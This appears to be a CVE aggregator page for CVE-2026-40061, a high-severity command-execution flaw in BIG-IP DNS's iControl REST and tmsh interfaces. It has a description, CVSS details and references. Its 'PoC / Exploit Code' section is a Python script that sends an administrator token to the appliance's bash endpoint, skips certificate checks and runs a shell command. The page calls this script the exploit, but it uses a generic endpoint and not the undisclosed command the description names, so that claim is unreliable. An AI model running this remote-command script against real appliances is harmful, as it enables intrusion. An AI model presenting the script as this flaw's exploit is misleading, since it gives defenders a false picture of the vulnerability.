CVE-2026-40061

Description

When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

已配置 BIG-IP DNS 的版本 (具体受影响版本号请参考F5官方公告 K000160788)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-40061 (Conceptual)
# Exploits undisclosed iControl REST/tmsh command
# Requires Resource Admin or Administrator privileges

import requests
import sys

# Target configuration
target_url = "https://<TARGET_IP>/mgmt/tm/util/bash"
auth_token = "<YOUR_AUTH_TOKEN>" # Obtained via authentication

headers = {
    "Content-Type": "application/json",
    "X-F5-Auth-Token": auth_token
}

# Payload to execute arbitrary command
payload = {
    "command": "run",
    "utilCmdArgs": "-c 'whoami'"
}

try:
    response = requests.post(target_url, headers=headers, json=payload, verify=False)
    if response.status_code == 200:
        print("[+] Command executed successfully:")
        print(response.text)
    else:
        print(f"[-] Failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40061
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40061
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40061/
[4] VulDB https://vuldb.com/cve/CVE-2026-40061
[5] https://my.f5.com/manage/s/article/K000160788

Raw JSON Data

JSON

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